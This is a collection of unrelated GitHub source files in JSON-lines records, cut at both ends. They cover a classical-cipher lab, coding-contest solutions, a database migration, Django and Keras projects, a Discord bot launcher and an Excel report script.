('Invalid key!')\n quit(-1)\n enc = ''\n for i in mes:\n x = alphabet.index(i)\n y = (x + key) % 26\n i1 = alphabet[y]\n enc += i1\n return enc\n\n\ndef move_dec(key, mes):\n dec = ''\n for i in mes:\n y = alphabet.index(i)\n x = (y - key) % 26\n i1 = alphabet[x]\n dec += i1\n return dec\n\n\ndef is_perfect_square(n): return (n ** .5).is_integer() \n\n\nsize = 0\ndef hill_key(text):\n if not is_perfect_square(len(text)):\n print('Invalid Hill key!')\n quit(-1)\n global size\n size = int(math.sqrt(len(text)))\n val = []\n for i in text:\n indx = alphabet_rus.index(i)\n val.append(indx)\n matrix = np.array(val).reshape(size, size)\n return matrix\n\n\ndef hill_enc(text, message):\n key = hill_key(text)\n\n parts = []\n part = []\n for i in range(1, len(message) + 1):\n a = message[i - 1]\n indx = alphabet_rus.index(a)\n part.append(indx)\n if i % 3 == 0:\n parts.append(part)\n part = []\n while len(part) < size:\n part.append(35)\n parts.append(part)\n parts_n = np.array(parts)\n\n enc = []\n for i in range(len(parts_n)):\n enc.append(np.matrix.round(parts_n[i].dot(key)) % 37)\n \n enc_n = np.array(enc)\n encoded = ''\n for i in range(len(parts)):\n for j in enc_n[i]:\n a = alphabet_rus[j]\n encoded += a\n \n return encoded\n\n\ndef gcd_extended(num1, num2):\n if num1 == 0:\n return (num2, 0, 1)\n else:\n div, x, y = gcd_extended(num2 % num1, num1)\n return (div, y - (num2 // num1) * x, x)\n\n\ndef hill_dec(text, message):\n key = hill_key(text)\n\n parts = []\n part = []\n for i in range(1, len(message) + 1):\n a = message[i - 1]\n indx = alphabet_rus.index(a)\n part.append(indx)\n if i % 3 == 0:\n parts.append(part)\n part = []\n if not len(part) == 0: \n while len(part) < 3:\n part.append(35)\n parts.append(part)\n parts_n = np.array(parts)\n\n k = round(np.linalg.det(key))\n\n d, x, y = gcd_extended(k, 37)\n\n det = 0\n if k < 0 and x > 0:\n det = x\n if k > 0 and x < 0:\n det = 37 + x\n if k > 0 and x > 0:\n det = x\n if k < 0 and x < 0:\n det = -x\n \n neg = np.linalg.inv(key)\n nn = neg * k\n for i in range(len(nn)):\n for j in range(len(nn[i])):\n nn[i][j] %= 37 * np.sign(nn[i][j])\n \n nn = nn.transpose()\n nn *= det\n for i in range(len(nn)):\n for j in range(len(nn[i])):\n nn[i][j] %= 37 * np.sign(nn[i][j])\n nn = nn.transpose()\n\n for i in range(len(nn)):\n for j in range(len(nn[i])):\n if nn[i][j] < 0:\n nn[i][j] += 37\n\n dec_part = []\n decoded = ''\n for i in range(len(parts_n)):\n dec_part.append(np.matrix.round(parts_n[i].dot(nn)) % 37)\n \n dec_part_n = np.array(dec_part)\n for i in range(len(dec_part_n)):\n for j in dec_part_n[i]:\n decoded += alphabet_rus[round(j)]\n\n return decoded\n\n\ndef check_move_key(key):\n if key < 0 or key > 26:\n return False\n return True\n\n\n'''\nфункция взлома простым подбором ключа\n'''\ndef break_ceasar_selection(enc):\n dec = ''\n for j in range(26):\n dec = ''\n for i in range(len(enc)):\n y = alphabet.index(enc[i])\n indx = (y - j) % 26\n char = alphabet[indx]\n dec += char\n print('Decrypted: ', dec, ', key = ', j)\n return True\n\n\n'''\nВзлом шифра сдвига с применением частотного анализа\n'''\ndef break_ceasar(enc):\n count = 0\n frequency = []\n\n for i in range(26):\n for j in enc:\n if j == alphabet[i]:\n count += 1\n count = count * 100 / len(enc)\n frequency.append(count)\n count = 0\n\n maximum = 0\n for i in range(25):\n if frequency[i+1] > frequency[i]:\n maximum = frequency[i+1]\n \n store_maxes = []\n for i in range(26):\n if frequency[i] == maximum:\n store_maxes.append(i)\n \n for i in store_maxes:\n key = abs(i - 4)\n dec_check = move_dec(key, enc)\n print(dec_check)\n \n answer = input('Is there what youre looking for? (y or n): ')\n if answer == 'y':\n return True\n if answer == 'n':\n print('Starting a simple selection algorithm...')\n break_ceasar_selection(enc)\n else: \n print('invalid input!')\n\n return False\n\n\nif __name__ == '__main__':\n inp_key = open('key.txt', 'r')\n inp_mes = open('message.txt', 'r')\n out_encrypted = open('encrypted.txt', 'w')\n out_decrypted = open('decrypted.txt', 'w')\n\n key = int(inp_key.read())\n key_hill = 'АЛЬПИНИЗМ'\n message = inp_mes.readline()\n\n encrypted_m = move_enc(key, message)\n encrypted_h = hill_enc(key_hill, 'ЗАШИФРОВАННЫЙ ТЕКСТ')\n #print('Hill encryption: ', encrypted_h)\n out_encrypted.write('First encryption result:\\n\\t')\n out_encrypted.write(encrypted_m)\n out_encrypted.write('\\nSecond encryption result:\\n\\t')\n out_encrypted.write(encrypted_h)\n\n out_encrypted.close()\n\n decrypted_h = hill_dec(key_hill, encrypted_h)\n out_decrypted.write('First decryption results:\\n\\t')\n out_decrypted.write(move_dec(key, encrypted_m))\n out_decrypted.write('\\nSecond decryption results:\\n\\t')\n out_decrypted.write(decrypted_h)\n #print ('Hill decription: ', decrypted_h)\n\n out_decrypted.close()\n\n print('Trying to break Ceasar encryption...')\n break_ceasar(encrypted_m)\n print('Programm executed correctly!')\n","repo_name":"alekseykrazhev/cryptography","sub_path":"lab2_crsystems/Krazhevskiy_15_2.py","file_name":"Krazhevskiy_15_2.py","file_ext":"py","file_size_in_byte":6147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"19128233533","text":"import bisect\ndef solve(heights, requests):\n N = len(heights)\n required = []\n mx = 0\n res = [0]\n for i, height in enumerate(heights):\n mx = max(height, mx)\n required.append(mx)\n res.append(height + res[i])\n\n ret = []\n for request in requests:\n index = bisect.bisect_right(required, request)\n ret.append(res[index])\n print(*ret)\nif __name__ == \"__main__\":\n t = int(input())\n for _ in range(t):\n n, q = map(int, input().split())\n h = list(map(int, input().split()))\n r = list(map(int, input().split()))\n solve(h, r)","repo_name":"Semeriuss/Data-Structures-and-Algorithms","sub_path":"contest_problems/code_forces_23/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"70837283673","text":"# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution(object):\n def deleteDuplicates(self, head):\n # Given a sorted linked list, delete all duplicates such that each element appear only once.\n # type head: ListNode\n # rtype: ListNode\n \n pos = head\n \n while pos:\n # delete repetitive nodes iteratively\n while pos.next and pos.next.val == pos.val:\n pos.next = pos.next.next\n pos = pos.next\n return head\n \n","repo_name":"txzhao/LeetCode","sub_path":"python/q_083.py","file_name":"q_083.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"44467145831","text":"\"\"\"create sectors table\n\nRevision ID: 031e3a621402\nRevises: ef1a369e3371\nCreate Date: 2023-07-08 04:46:20.186530\n\n\"\"\"\nimport sqlalchemy as sa\nfrom alembic import op\nfrom sqlalchemy.dialects.mysql import BIGINT\n\nfrom classes.AlembicHelper import AlembicHelper\n\n# revision identifiers, used by Alembic.\nrevision = \"031e3a621402\"\ndown_revision = \"ef1a369e3371\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n helper = AlembicHelper(conn=op.get_bind())\n table_exists = helper.table_exists(\"sectors\")\n\n if table_exists is False:\n op.create_table(\n \"sectors\",\n sa.Column(\n \"id\", BIGINT(unsigned=True),\n primary_key=True, autoincrement= True,\n ),\n sa.Column(\"sector\", sa.String(255), unique=True),\n sa.Column(\"description\", sa.String(255), nullable=True),\n sa.Column(\n \"updated_at\", sa.TIMESTAMP,\n server_default=sa.text(\"CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP\"),\n ),\n sa.Column(\n \"created_at\", sa.TIMESTAMP,\n server_default=sa.text(\"CURRENT_TIMESTAMP\"),\n ),\n )\n\ndef downgrade() -> None:\n helper = AlembicHelper(conn=op.get_bind())\n table_exists = helper.table_exists(\"sectors\")\n\n if table_exists is True:\n op.drop_table(\"sectors\")\n","repo_name":"pedrodrocha/shopping-tem-data","sub_path":"migrations/versions/2023_07_08_0446-031e3a621402_create_sectors_table.py","file_name":"2023_07_08_0446-031e3a621402_create_sectors_table.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"28850407229","text":"from django.shortcuts import render\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view\nimport json\n\nfrom .models import PropertyTax\nfrom .serializers import PropertyTaxRateSerializer\n# Create your views here.\n\n\n@api_view(['GET','POST'])\ndef getPropertyTax(request):\n if request.method=='GET':\n obj = PropertyTax.objects.all()\n serializer = PropertyTaxRateSerializer(obj, many=True)\n return Response(serializer.data)\n if request.method==\"POST\":\n propert_value= request.data.get('property_value')\n obj = PropertyTax.objects.only('property_tax')\n serializer = PropertyTaxRateSerializer(obj, many=True)\n newarray=[]\n\n for e in serializer.data:\n tax_amount = (e['property_tax'] /100 * int(propert_value))\n e.update({'tax_amount': tax_amount})\n return Response(serializer.data)\n\n","repo_name":"bishwobhandari/project","sub_path":"propertytax/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"1704823587","text":"from discord.ext import commands, tasks\nimport discord\nimport asyncio\nimport os\nfrom random import *\nfrom pymongo import MongoClient\nimport subprocess\nfrom datetime import datetime\nimport contextlib\n\nfrom cogs.utils.help_utils import HelpEmbed, MyHelp\n\nimport asyncpg\nimport config\n\nimport pygit2\nimport itertools\n\nimport time\n\ncluster = MongoClient(config.mongoURI)\ndb = cluster[\"Discord\"]\nstories = db['webVent']\n \nintents = discord.Intents.all()\nintents.members = True\nventText = stories.find_one({\"guild\": \"vent\"})\n\nasync def create_db_pool():\n return await asyncpg.create_pool(config.postgresURI)\n \nclass VentBot(commands.Bot):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.initial_extensions = [\n 'cogs._autoRole',\n 'cogs._commands',\n 'cogs._cooldown',\n 'cogs._dmsupport',\n 'cogs._errorHandler',\n 'cogs._events',\n 'cogs._inboxProtection',\n 'cogs._inboxScanner',\n 'cogs._logger',\n 'cogs._stats',\n 'cogs._utility',\n 'jishaku'\n ]\n self.db_pool = None\n self.db_connection = None\n ...\n\n # Setting up database with table queries\n async def setup_db(self):\n self.db_pool = await create_db_pool()\n self.db_connection = await self.db_pool.acquire()\n # Create tables if not exists\n queries = [\n \"\"\"\n CREATE TABLE IF NOT EXISTS reputation(\n userID NUMERIC(50, 0) PRIMARY KEY,\n rep NUMERIC(10, 0) \n );\n \"\"\",\n ]\n\n async with self.db_pool.acquire() as connection:\n for query in queries:\n await connection.execute(query)\n\n global check_if_allowed\n def check_if_allowed(ctx):\n return ctx.author.id in config.admins\n\n async def setup_hook(self) -> None:\n for ext in self.initial_extensions:\n await self.load_extension(ext)\n \n async def on_ready(self):\n print(\" \\ \\ / / __| \\| |_ _| ___ / __| |_ __ _ _ _ /_\\ _ _ ___ _ _ _ _ _ __ ___ _ _ ___\")\n print(\" \\ V /| _|| .` | | | |___| \\__ \\ _/ _` | || | / _ \\| ' \\/ _ \\ ' \\ || | ' \\/ _ \\ || (_-<\")\n print(\" \\_/ |___|_|\\_| |_| |___/\\__\\__,_|\\_, | /_/ \\_\\_||_\\___/_||_\\_, |_|_|_\\___/\\_,_/__/\")\n print(\" |__/ |__/ \")\n\n async def start(self, *args, **kwargs):\n await self.setup_db()\n await super().start(*args, **kwargs)\n\n async def close(self):\n await self.db_pool.release(self.db_connection)\n await self.db_pool.close()\n await super().close()\n\n async def get_db_connection(self):\n return self.db_connection\n\n async def on_connect(self):\n print(\"Connected to Discord!\")\n\n async def on_disconnect(self):\n print(\"Disconnected from Discord!\")\n\n async def on_resumed(self):\n print(\"Resumed!\")\n\n async def on_error(self, event_method, *args, **kwargs):\n error_message = f\"Error in event {event_method}:\"\n error_message += f\"\\n{args}\"\n error_message += f\"\\n{kwargs}\"\n print(error_message)\n\nbot = VentBot(\n command_prefix=\".\", \n intents=intents,\n activity=discord.Activity(type=discord.ActivityType.listening, name=f\"{ventText['stories']}+ stories\"), \n owner_ids=config.ownerIds\n)\nhelp_command = MyHelp(bot)\nbot.help_command = help_command\nbot.start_time = time.time()\n\n@bot.command()\n@commands.check(check_if_allowed)\nasync def reload(ctx):\n '''Pulls changes from github and reloads cogs'''\n\n confirmation = await ctx.send(\"Reloading...\")\n \n repository = pygit2.Repository('.git')\n try:\n subprocess.run([\"git\", \"pull\", \"origin\", \"master\"])\n cogsList = []\n for ext in bot.initial_extensions:\n await bot.reload_extension(ext)\n cogsList.append(f\"[+] {ext}\\n\")\n await confirmation.delete()\n latest_commit = repository[repository.head.target]\n commit_time = latest_commit.commit_time\n commit_date = datetime.utcfromtimestamp(commit_time).strftime('%d-%m-%Y %H:%M')\n em = discord.Embed(color=0x2e3137)\n em.add_field(name=\"ðŸ”� Reloaded modules\", value=f\"```fix\\n{''.join(cogsList)}```\")\n em.add_field(name=\"\\U0001f6e0 Lastest commit\", value=f\"```({latest_commit.author.name})``````{latest_commit.hex[0:6]} - {latest_commit.message}``````({commit_date})```\")\n await ctx.send(embed=em)\n\n except commands.ExtensionFailed as e:\n await ctx.send(e)\n await ctx.message.add_reaction('\\U0000274e')\n\nbot.run(config.token)\n","repo_name":"puang59/VentBot-Host","sub_path":"launcher.py","file_name":"launcher.py","file_ext":"py","file_size_in_byte":4738,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"9831466921","text":"# 과적합 예제\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense\nfrom sklearn.datasets import load_boston\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import r2_score\nimport matplotlib.pyplot as plt\nimport time\nfrom tensorflow.keras.callbacks import EarlyStopping\n\n\n#1 데이터 정제작업\ndatasets = load_boston()\nx = datasets.data\ny = datasets.target\n\nx_train,x_test,y_train,y_test = train_test_split(x, y, train_size=0.8, shuffle=True, random_state=66)\n\n#2. 모델링 \nmodel = Sequential()\nmodel.add(Dense(100, input_dim=13))\nmodel.add(Dense(100))\nmodel.add(Dense(100))\nmodel.add(Dense(50))\nmodel.add(Dense(10))\nmodel.add(Dense(1))\n\n#3. 컴파일, 훈련\nmodel.compile(loss='mse', optimizer='adam') \n\nes = EarlyStopping #정의를 해줘야 쓸수있다. \nes = EarlyStopping(monitor=\"val_loss\", patience=10, mode='min', verbose=1, baseline=None, restore_best_weights=True)\n# 멈추는 시점은 최소값. 발견 직후 patience 값에서 멈춘다. \n# patience: Number of epochs with no improvement after which training will be stopped.\n# restore_best_weights : False일 경우 마지막training이 끝난 후의 weight값을 저장/ True라면 training이 끝난 후 값이 가장 좋았을때의 weight로 복원\n\n# 숙제.\n# 단 이때 제공되는 weight의 값은 최저점 val_loss에서의 weight값일까 아니면 마지막 trainig이 끝난후의 weight값일까? \n# restore_best_weights=True 로 했기 때문에 최저 val_loss에서의 w 값? Q\n\nstart = time.time()\nhist = model.fit(x_train,y_train,epochs=34,\n batch_size=1,validation_split=0.25, callbacks=[es]) \nend = time.time() - start\n#print(\"걸린시간 : \", round(end, 3), '초')\n\n#4. 평가 , 예측\nloss = model.evaluate(x_test,y_test)\n# print(hist.history['val_loss'])\nprint('loss : ', loss)\n\n# y_predict = model.predict(x_test)\n# print(\"최적의 로스값 : \", y_predict)\n\n# r2 = r2_score(y_test,y_predict) # 계측용 y_test값과, y예측값을 비교한다.\n# print('r2스코어 : ', r2)\n\n\n# plt.figure(figsize=(9,6))\n# plt.plot(hist.history['loss'], marker=\".\", c='red', label='loss')\n# plt.plot(hist.history['val_loss'], marker='.', c='blue', label='val_loss')\n# plt.grid()\n# plt.title('loss')\n# plt.ylabel('loss')\n# plt.xlabel('epoch')\n# plt.legend(loc='upper right')\n# plt.show()","repo_name":"meanseo/study","sub_path":"keras/keras13~14_EarlyStopping/keras14_EarlyStopping1_bostom.py","file_name":"keras14_EarlyStopping1_bostom.py","file_ext":"py","file_size_in_byte":2356,"program_lang":"python","lang":"ko","doc_type":"code","stars":4,"dataset":"github-code","pt":"5"} +{"seq_id":"37658508355","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpResponse\nfrom django.contrib.auth import authenticate, login\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import User\nfrom django.contrib.staticfiles.storage import staticfiles_storage\nfrom django.templatetags.static import static\nfrom tensorflow import keras\nfrom tensorflow.keras.preprocessing import image\nimport numpy as np\nimport os\nfrom werkzeug.utils import secure_filename\nfrom .forms import ImageUploadForm\nimport joblib\nimport json\n# Create your views here.\nbase_path = os.path.dirname(os.path.abspath(__file__))\n\nh5_model_path = os.path.join(base_path, 'model', 'model.h5')\nyield_model_path = os.path.join(base_path, 'model', 'new_model.sav')\n\n\n\ndef IndexView(request):\n return render(request, \"home.html\")\n\ndef contact(request):\n return render(request, \"about_us.html\")\n\n\ndef multi_yield(yield_model,yield_list):\n items = [\n \"Maize\",\n \"Potatoes\",\n \"Rice\",\n \"Sorghum\",\n \"Soybeans\",\n \"Wheat\",\n \"Cassava\",\n \"Sweet potatoes\",\n \"Plantains\",\n \"Yams\",\n ]\n yield_dict = {}\n for its in items:\n yield_dict[its] = float(\n yield_model.predict(\n [\n [\n yield_list[0],\n items.index(its),\n yield_list[2],\n yield_list[3],\n yield_list[4],\n ]\n ]\n )\n )\n return yield_dict\n\n\n@login_required\ndef yieldPrediction(request):\n yield_model = joblib.load(yield_model_path)\n # ip = request.META.get(\"REMOTE_ADDR\")\n # print(ip)\n if request.method == \"POST\":\n # area = request.POST.get(\"area\")\n item = int(request.POST.get(\"selection\"))\n average_temp = float(request.POST.get(\"at\"))\n average_rainfall = float(request.POST.get(\"ar\"))\n pesticides = float(request.POST.get(\"pt\"))\n predicts_list = [42, item, average_rainfall, pesticides, average_temp]\n print(predicts_list)\n if item == 100:\n yield_predicts = multi_yield(yield_model,predicts_list)\n else:\n yield_predicts = [float(yield_model.predict([predicts_list]))]\n # items = [\n # \"Maize\",\n # \"Potatoes\",\n # \"Rice\",\n # \"Sorghum\",\n # \"Soybeans\",\n # \"Wheat\",\n # \"Cassava\",\n # \"Sweet potatoes\",\n # \"Plantains\",\n # \"Yams\",\n # ]\n print(yield_predicts)\n return render(\n request,\n \"yield_prediction.html\",\n {\"predicts\": yield_predicts, \"head\": \"Predicted Yield is\"},\n )\n return render(request, \"yield_prediction.html\", {\"predicts\": [], 'head': 'null'})\n\n\n@login_required\ndef DashboardView(request):\n return render(request, \"dashboard.html\", {\"username\": request.user})\n\n\ndef model_predict(img_path, model):\n img = image.load_img(img_path, grayscale=False, target_size=(64, 64))\n x = image.img_to_array(img)\n x = np.expand_dims(x, axis=0)\n x = np.array(x, \"float32\")\n x /= 255\n preds = model.predict(x)\n return preds\n\n\ndef handle_uploaded_file(f, img_path):\n with open(img_path, \"wb+\") as destination:\n for chunk in f.chunks():\n destination.write(chunk)\n\n\n@login_required\ndef diseaseDetection(request):\n\n model = keras.models.load_model(h5_model_path, compile=False)\n form = ImageUploadForm(request.POST, request.FILES)\n head = \"null\"\n if request.method == \"POST\" and \"file\" in request.FILES:\n json_data = open('.'+staticfiles_storage.url(\"json/diseases.json\"))\n load_json = json.load(json_data)\n f = request.FILES[\"file\"]\n # static(\"images/\") + str(request.user.id) + \"test.jpg\"\n img_path ='.'+ staticfiles_storage.url(\"images/\"+str(request.user.id)+\"test.jpg\")\n handle_uploaded_file(f, img_path)\n preds = model_predict(img_path, model)\n print(preds[0])\n disease_class = [\n \"Pepper__bell___Bacterial_spot\",\n \"Pepper__bell___healthy\",\n \"Potato___Early_blight\",\n \"Potato___Late_blight\",\n \"Potato___healthy\",\n \"Tomato_Bacterial_spot\",\n \"Tomato_Early_blight\",\n \"Tomato_Late_blight\",\n \"Tomato_Leaf_Mold\",\n \"Tomato_Septoria_leaf_spot\",\n \"Tomato_Spider_mites_Two_spotted_spider_mite\",\n \"Tomato__Target_Spot\",\n \"Tomato__Tomato_YellowLeaf__Curl_Virus\",\n \"Tomato__Tomato_mosaic_virus\",\n \"Tomato_healthy\",\n ]\n a = preds[0]\n ind = np.argmax(a)\n print(\"Prediction:\", disease_class[ind])\n result = disease_class[ind]\n remedies = \"\"\n for i in load_json[\"Prevention_methods\"]:\n if result == i[\"disease_name\"]:\n remedies = i[\"prevention\"]\n return render(\n request,\n \"disease_detection.html\",\n {\n \"pre_op\": result,\n \"prevention\": remedies,\n \"head\": \"Preventive Methods\",\n \"imageurl\": \"images/\" + str(request.user.id) + \"test.jpg\",\n },\n )\n\n return render(request, \"disease_detection.html\", {\"head\": head})\n\n\ndef RegistrationView(request):\n if request.method == \"POST\":\n username = request.POST.get(\"susername\")\n email = request.POST.get(\"email\")\n password = request.POST.get(\"spassword\")\n first_name = request.POST.get(\"first_name\")\n last_name = request.POST.get(\"last_name\")\n if User.objects.filter(username=username).exists():\n return HttpResponse(\n \"<script>alert('username already available'); window.location.href = '/registration';</script>\"\n )\n else:\n user = User.objects.create_user(\n username=username,\n email=email,\n password=password,\n first_name=first_name,\n last_name=last_name,\n )\n user.save()\n return redirect(\"login\")\n\n return render(\n request,\n \"registration/registration.html\",\n )\n\n\ndef LoginView(request):\n\n if request.method == \"POST\":\n username = request.POST.get(\"username\")\n password = request.POST.get(\"password\")\n user = authenticate(request, username=username, password=password)\n if user is not None:\n if user.is_active:\n login(request, user)\n return render(request, \"dashboard.html\", {\"username\": username})\n else:\n return HttpResponse(\"disable\")\n else:\n return HttpResponse(\n \"<script>alert('invalid login'); window.location.href = '/login';</script>\"\n )\n else:\n pass\n\n return render(request, \"registration/login.html\")\n\n\ndef LogoutView(request):\n return render(request, \"registration/logout.html\")\n","repo_name":"Sathiyanarayanan-M/FarmixSmart","sub_path":"accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7108,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"26518688237","text":"# coding=utf-8\n__author__ = 'lixuefang'\n\"\"\"\n之前单计算和生成最大值的脚本,目前已不用。\n\"\"\"\n\nimport ConfigInfo\nfrom ConfigInfo import maxCompareData\nimport pandas as pd\nimport glob\nimport os\nimport time\nimport xlsxwriter\n\n\ndef compareValue(listValue, avgValue, standardValue):\n \"\"\"\n 判断峰值的list和均值是否否小于给定的阈值,如果全都小于,则Pass,否则Fail\n :param listValue: 峰值的list值\n :param avgValue: 峰值的均值\n :param standardValue: 给定的阈值\n :return:\n \"\"\"\n flag = 'Pass'\n for item in listValue:\n if item >= standardValue * 1024 * 1024:\n flag = 'Fail'\n break\n if avgValue >= standardValue:\n flag = 'Fail'\n return flag\n\n\ndef remove_percentile(col_data, column_data):\n \"\"\"\n 去除list col_data中元素的百分号,并将结果追加到新的列表column_data中\n :return:\n \"\"\"\n for item in col_data:\n if '%' in str(item):\n item = item.strip('%')\n item = float(item)\n column_data.append(item)\n\ntime_stamp = time.strftime(time.strftime(\"%Y-%m-%d-%H-%M-%S\", time.localtime()))\n# 创建要生成的报告result.xlsx\nworkBook = xlsxwriter.Workbook('../Report/MaxResultReport' + time_stamp + '.xlsx')\nworksheet = workBook.add_worksheet()\n\n\ndef setTitleStyle(font_color, font_size, bold, fg_color, align, valign):\n \"\"\"\n 设置生成表格的样式\n :param font_color: 字体颜色\n :param font_size: 字体大小\n :param bold: 字体加粗\n :param fg_color: 单元格背景颜色\n :param align: 对齐方式\n :param valign: 字体对齐方式\n :return:\n \"\"\"\n style = workBook.add_format({\n 'color': font_color, # 字体颜色\n 'font_size': font_size, # 字体大小\n 'bold': bold, # 字体加粗\n 'fg_color': fg_color, # 单元格背景颜色\n 'align': align, # 对齐方式\n 'valign': valign, # 字体对齐方式\n 'border': 1,\n\n })\n return style\n\n\ndef statisticDataResult():\n result_data = {} # 结果数据,里面存储的是所有case下所有最大值的集合\n property_max_data = {} # 每个文件某列中的最大值\n avg_case_max_data = {} # 每个case下所有文件某列最大值的平均值\n max_file_num = 0 # 所有case中,里面文件数的最大值\n\n # 循环结束后,得到所有case下的每个文件的每个列的最大值result_data\n # 循环结束后,得到所有case下每个列的均值avgColValue\n for case, caseValues in sorted(ConfigInfo.baseConfig.items()):\n directory = os.path.dirname(os.getcwd()) + caseValues['directory']\n columns = caseValues['columns']\n result_data[case] = {}\n property_max_data[case] = {}\n avg_case_max_data[case] = {}\n\n allfiles = glob.glob(os.path.join(directory, '*.csv'))\n count = len(allfiles)\n # 循环结束后,得到该case下所有文件所需列的最大值\n for file in allfiles:\n csv_file_data = pd.read_csv(file)\n\n # 循环结束后,得到该文件下所需列的最大值\n for col in columns:\n col_data = csv_file_data[col]\n\n column_data = []\n remove_percentile(col_data, column_data) # 除去列表中的百分号\n max_column_data = max(column_data) # 计算每列的最大值\n\n if col not in result_data[case].keys():\n result_data[case][col] = []\n\n # 如果cpu的结果想带%,则使用这一行。注销掉下方result_data[case][col].append(int(max_column_data))\n # result_data[case][col].append(max_column_data)\n\n if col not in property_max_data[case].keys():\n property_max_data[case][col] = 0\n\n result_data[case][col].append(int(max_column_data))\n property_max_data[case][col] += int(max_column_data)\n\n # 判断是否为CPU%,如果是,求平均值的时候不除以1024*1024\n flag = 0\n if col == 'CPU%':\n flag = 1\n # 获得每个场景下每列的平均值avg_case_max_data[case][col], 并保留小数点后两位\n avgValue = round(property_max_data[case][col] / count, 2)\n if flag == 1:\n # avgValue = str(avgValue) + '%'\n avgValue = avgValue\n else:\n avgValue = round(avgValue / 1024 / 1024, 2)\n avg_case_max_data[case][col] = avgValue\n\n # 获得场景下文件数的最大值max_file_num\n if max_file_num < count:\n max_file_num = count\n\n print(result_data)\n\n # 设置各种行的样式\n titleStyle = setTitleStyle('black', '18', True, '#2F75B5', 'center', 'vcenter')\n topicStyle = setTitleStyle('black', '16', True, '#9BC2E6', 'left', 'vcenter')\n bodySinStyle = setTitleStyle('black', '14', False, '#D9E1F2', 'left', 'vcenter')\n bodyDouStyle = setTitleStyle('black', '14', False, '#EDEDED', 'left', 'vcenter')\n bodyFailSinStyle = setTitleStyle('red', '14', True, '#D9E1F2', 'left', 'vcenter')\n bodyFailDouStyle = setTitleStyle('red', '14', True, '#EDEDED', 'left', 'vcenter')\n bodySuccSinStyle = setTitleStyle('green', '14', True, '#D9E1F2', 'left', 'vcenter')\n bodySuccDouStyle = setTitleStyle('green', '14', True, '#EDEDED', 'left', 'vcenter')\n\n # 插入第一行表头\n sheetTitle = \"FEED核心场景性能测试报告\"\n worksheet.merge_range(0, 0, 0, max_file_num + 3, sheetTitle, titleStyle)\n\n # 插入第二行数据类型和次数\n sheetColTitle = ['case场景', '类型']\n for i in range(max_file_num):\n sheetColTitle.append(i + 1)\n sheetColTitle.append('avg(G)')\n sheetColTitle.append('通过')\n worksheet.write_row('A2', sheetColTitle, topicStyle)\n\n\n # 逐行插入每个类型的数据(如:RSS)\n rows = 3\n caseFlag = 1\n\n # 设置每个场景的样式\n for case, totalData in result_data.items():\n bodyStyle = bodyDouStyle\n failStyle = bodyFailDouStyle\n succStyle = bodySuccDouStyle\n if caseFlag % 2 == 1:\n bodyStyle = bodySinStyle\n failStyle = bodyFailSinStyle\n succStyle = bodySuccSinStyle\n caseFlag += 1\n\n # 第一列每次合并单元格的起始位置\n beginPoint = rows - 1\n for col, maxValue in totalData.items():\n dataLength = len(maxValue)\n\n # rowData:将峰值list和该峰值的均值组成list\n rowData = []\n avgValue = avg_case_max_data[case][col]\n # rowData.append(description)\n rowData.append(col)\n for maxV in maxValue:\n rowData.append(maxV)\n\n # resultPass:记录是否通过,峰值和峰值的均值是否都小于给定的阈值\n resultPass = ''\n if col in maxCompareData.keys():\n resultPass = compareValue(maxValue, avgValue, maxCompareData[col])\n\n # 行数和最大行数的差值,不到最大行数就补充应有样式\n diffNum = max_file_num - dataLength\n for i in range(diffNum):\n rowData.append('')\n\n rowData.append(avgValue)\n\n # 将峰值list和该峰值的均值组成list(rowData),然后整列写入excel中。\n rowCount = 'B' + str(rows)\n worksheet.write_row(rowCount, rowData, bodyStyle)\n\n resultStyle = succStyle\n if resultPass == 'Fail':\n resultStyle = failStyle\n\n # 将判断的结果resultPass追加到最后\n worksheet.write(rows-1, max_file_num+3, resultPass, resultStyle)\n rows += 1\n\n # 第一列每次合并单元格的结束位置\n endPoint = rows - 2\n description = ConfigInfo.baseConfig[case]['description']\n worksheet.merge_range(beginPoint, 0, endPoint, 0, description, bodyStyle)\n\n # 设置列的宽度\n worksheet.set_column(\"A:A\", 60)\n\n endColumn = ord('B') + max_file_num + 1\n endColumnPoint = chr(endColumn)\n\n worksheet.set_column(\"B:\" + endColumnPoint, 12)\n\n # 设置行的高度\n for i in range(rows - 1):\n if i == 0:\n worksheet.set_row(i, 45)\n elif i == 1:\n worksheet.set_row(i, 35)\n else:\n worksheet.set_row(i, 25)\n\n workBook.close()\n\n\nif __name__ == '__main__':\n statisticDataResult()\n","repo_name":"cdsfast/Java_Study","sub_path":"FeedOOMTest/PublicUtils/max_value_statistic.py","file_name":"max_value_statistic.py","file_ext":"py","file_size_in_byte":8562,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"74993224151","text":"#!/usr/bin/env python\n#from extract_poppler import extract_annotations\n#from extract_pypdf import extract_annotations\n#from extract_mupypdf import extract_annotations\nfrom extract_pdfminer import extract_annotations\nfrom find_mapping import find_mapping\nfrom insert_latex_comments import insert_latex_comments\nimport argparse\n\n\ndef parse_arguments():\n parser = 